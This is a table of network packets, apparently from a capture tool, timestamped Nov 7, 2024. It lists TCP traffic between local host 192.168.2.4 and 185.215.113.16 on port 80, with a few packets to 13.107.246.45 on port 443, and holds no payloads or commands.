Nov 7, 2024 06:01:12.315169096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315172911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315198898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315207005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315211058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315237045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315254927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315278053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315294981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315306902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315320015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315326929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315330029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315340996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315355062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315361977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315363884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315376043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315387011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315388918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315397978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315398932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315424919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315457106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315471888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315490007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315499067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315519094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315536976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315587044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315598965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315609932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315622091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315634966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315654039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315665007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315670967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315687895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315689087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315717936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315720081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315732002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315742970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315772057 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315799952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315813065 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315824032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315838099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315848112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315851927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315865040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315885067 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315913916 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315913916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315926075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315937042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315954924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315960884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315967083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315979004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315990925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315992117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316004038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316026926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316046000 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316054106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316066027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316102028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316124916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316128016 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316137075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316148043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316168070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316189051 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316417933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316458941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316469908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316488028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316499949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316510916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316514015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316529989 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316544056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316631079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316673994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316704988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316741943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316786051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316822052 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316849947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316884041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.316977024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316988945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.316999912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317037106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317049980 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317069054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317111015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317122936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317161083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317168951 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317203999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317214012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317225933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317236900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317261934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317287922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317368984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317387104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317398071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317411900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317433119 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317483902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317496061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317519903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317532063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317539930 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317601919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317605019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317605019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317615032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317626953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317641020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317643881 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317653894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317656040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317665100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317676067 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317689896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317701101 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317711115 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317711115 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317724943 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317729950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317743063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317754030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317764997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317780018 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317815065 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.317940950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317958117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317976952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317987919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.317987919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318005085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318018913 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318047047 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318053961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318088055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318094969 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318099976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318116903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318123102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318130016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318140030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318142891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318156958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318182945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318183899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318196058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318207026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318218946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318253994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318257093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318268061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318305969 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318348885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318361044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318376064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318388939 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318396091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318408012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318422079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318453074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318470955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318504095 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318540096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318551064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318562031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318574905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318581104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318598986 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318624973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318648100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318659067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318692923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318758965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318769932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318780899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318792105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318804026 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318814039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318845987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318845987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318859100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318870068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318887949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318897963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.318932056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318943024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318953991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.318973064 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319005013 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319211006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319221973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319233894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319243908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319255114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319261074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319271088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319281101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319283962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319297075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319304943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319324017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319341898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319353104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319355011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319366932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319384098 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319392920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319399118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319430113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319432020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319467068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319586992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319598913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319610119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319621086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319648027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319663048 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319719076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319730043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319740057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319760084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319773912 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319825888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319843054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319880009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319890022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.319957972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319971085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319982052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.319998980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320004940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320028067 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320061922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320091963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320141077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320142984 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320158958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320185900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320203066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320252895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320264101 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320275068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320288897 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320296049 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320306063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320317030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320324898 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320328951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320357084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320359945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320363045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320372105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320383072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320394039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320410013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320411921 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320422888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320427895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320447922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320449114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320461988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320463896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320487976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320506096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320578098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320590973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320601940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320625067 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320645094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320653915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320666075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320676088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320693970 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320694923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320708036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320713997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320719957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320733070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320739031 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320745945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320759058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320779085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320796967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320801020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320811987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320816040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320827007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320838928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320848942 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320851088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320868015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320897102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320940971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320957899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320970058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320980072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.320991993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.320993900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321006060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321017027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321026087 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.321027994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321041107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321043015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.321054935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.321062088 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.321082115 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.321105957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.347877979 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.348433971 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.348450899 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.348933935 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.349021912 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.351025105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351047039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351066113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351077080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351088047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351099968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351111889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.351134062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.351166010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351183891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351195097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.351203918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.351237059 CET	49797	80	192.168.2.4	185.215.113.16
